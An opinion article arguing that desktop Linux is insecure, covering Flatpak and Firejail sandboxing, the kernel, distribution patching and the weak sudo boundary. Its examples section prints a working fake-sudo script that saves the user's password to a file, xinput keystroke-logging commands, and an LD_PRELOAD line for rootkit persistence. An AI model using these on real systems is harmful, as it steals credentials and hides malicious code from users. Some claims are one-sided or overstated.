Linux (In)security

Linux being secure is a common misconception in the security and privacy realm. Linux is thought to be secure primarily because of its source model, popular usage in servers, small userbase and confusion about its security features. This article is intended to debunk these misunderstandings. Due to inevitable pedanticism, "Linux" in this article refers to a standard desktop Linux or GNU/Linux distribution.

Sandboxing

There is no strong sandboxing in the standard Linux desktop. This means that all applications have access to each other’s data and can snoop on your personal information. Linux still follows the MS-DOS security model - any malicious application you install or an RCE vulnerability in a benevolent application can result in the attacker instantly gaining access to your data.

This is in contrast to other desktop operating systems such as macOS or Windows 10 which have already put considerable effort into sandboxing applications. macOS requires that all applications are sandboxed. Windows automatically sandboxes UWP applications and provides the Windows Sandbox utility for non-UWP applications.

Flatpak

Flatpak aims to sandbox applications, but its sandboxing is very flawed. It fully trusts the applications and allows them to specify their own policy. This means security is optional and apps can just choose not to be sufficiently sandboxed.

Flatpak's permissions are also far too broad to be meaningful. For example, many applications come with filesystem=home which is read-write access to the user's home directory, giving access to all of your personal files and allowing trivial escapes via writing to ~/.bashrc or similar.

Another example of Flatpak's broad permissions is how it allows unfiltered access to the X11 socket, allowing easy escapes due to X11's lack of GUI isolation. Adding X11 sandboxing via a nested X11 server such as Xpra is easy but Flatpak developers refuse to acknowledge this and continue to claim, "X11 is impossible to secure".

Even more examples of this is how Flatpak gives full access to directories such as /sys or /proc (kernel interfaces known for information leaks).

Another example is how the seccomp filter only blacklists ~20 syscalls which still exposes significant kernel attack surface.

Firejail

Firejail also aims to sandbox applications but is, again, uneffective. If anything, it worsens security by acting as a privilege escalation hole. Firejail requires being SUID root, meaning it executes with the privileges of the root user. This could be acceptable if Firejail followed good security practices but, unfortunately, they do not. Firejail has too large attack surface which has resulted in many vulnerabilities in the past. There are more details in this thread.

Exploit Mitigations

Most programs on Linux are written in memory unsafe languages such as C or C++ which causes the majority of discovered security vulnerabilities. Other operating systems have made more progress on adopting memory safe languages such as Windows which is leaning heavily towards Rust, a memory-safe language.

Modern exploit mitigations such as Control-Flow Integrity (CFI) are also not widely used unlike on alternative operating systems. These are just a few examples:

Kernel

The kernel is also very lacking in security. It is a monolithic kernel, meaning it contains a colossal amount of code all within the most privileged part of the operating system. The kernel has huge attack surface and is constantly adding new and dangerous features. The Linux kernel is equivalent to running all user space code as root in PID 1.

One example of these features is eBPF. In a nutshell, eBPF is a framework within the Linux kernel that allows unprivileged user space to execute arbitrary code within the kernel for increased performance. eBPF also includes a JIT compiler which is fundamentally a W^X violation and opens up the possibility of JIT spraying. The kernel does perform a number of checks on the code that is executed but even then, this feature has still caused numerous security vulnerabilities.

Another example of these features is user namespaces. User namespaces allow unprivileged users to interact with lots of kernel code that is normally reserved for the root user. It adds a massive amount of networking, mount, etc. functionality as new attack surface. It has also been the cause of numerous privilege escalation vulnerabilities which is why many distributions such as Debian have started to restrict it by default. The endless stream of vulnerabilities arising from this feature shows no sign of stopping either even after years since its introduction.

The kernel is written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, discovered each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time. The kernel is decades behind in exploit mitigations and many kernel developers simply do not care enough.

Other kernels such as the Windows and macOS kernels are somewhat similar too in that they are also large and bloated monolithic kernels with huge attack surface but they at least realise that these issues exist and take further steps to mitigate them.

The Non-Existent Boundary of Root

On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root compromise as there are too many ways for an attacker to retrieve the sudo password. Usually, the standard user is part of group sudo which makes this a massive issue and makes a sudo password security theater. For example, the attacker can exploit the plethora of keylogging opportunities such as Xorg’s lack of GUI isolation, the many infoleaks in /proc, using LD_PRELOAD to hook into every process and so much more. Even if we mitigate every single way to log keystrokes, the attacker can just setup their own fake sudo program to grab the user password.

Examples

This is all it takes to get your sudo password:

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo -e "\nSorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Or:
xinput list # find your keyboard ID
xinput test id # replace "id" with the ID from the above command

etc.

Now the attacker is just a modprobe away from full kernel privileges.

An attacker can also trivially setup a session-wide rootkit via LD_PRELOAD or similar variables:
echo "LD_PRELOAD=\"/path/to/malicious_library\"" >> ~/.bashrc


This technique is quite common and is used in the majority of user space rootkits. A few examples are azazel, Jynx2 and HiddenWasp.

These are just a few examples and they don't even require exploiting bugs.

Distribution-Specific Issues

Debian, Ubuntu, RHEL, CentOS

Debian, among other distributions such as Ubuntu that freeze packages for a long time only ever backport security fixes that receive a CVE. However, this misses the majority of them. Most fixes do not receive CVEs because either the developer doesn’t care or because it’s not obvious whether or not a bug is exploitable at first.

Debian maintainers cannot analyze every single commit perfectly and backport every security fix. They have to rely on CVEs which people do not use properly.

For example, the Linux kernel is particularly bad at this. Even when there is a CVE for the issue, sometimes fixes still aren't backported such as in the Debian Chromium package which is still affected by many severe and public vulnerabilities, some of which are even being exploited in the wild.

"But I harden my system!"

Standard system hardening is not enough to fix any of these massive architectural security issues. Restricting a few minor things is not going to fix this. Likewise, a few common security features distributions deploy by default is also not going to fix this. Just because your distribution enables a MAC framework without creating a strict policy and still running most processes unconfined, doesn't mean you can escape from these.

The hardening required for a reasonably secure Linux distribution is far greater than people assume. You will need full system MAC policies, full verified boot (not just the kernel but the entire base system), a strong sandboxing architecture, a hardened kernel, widespread use of modern exploit mitigations and plenty more.

Go back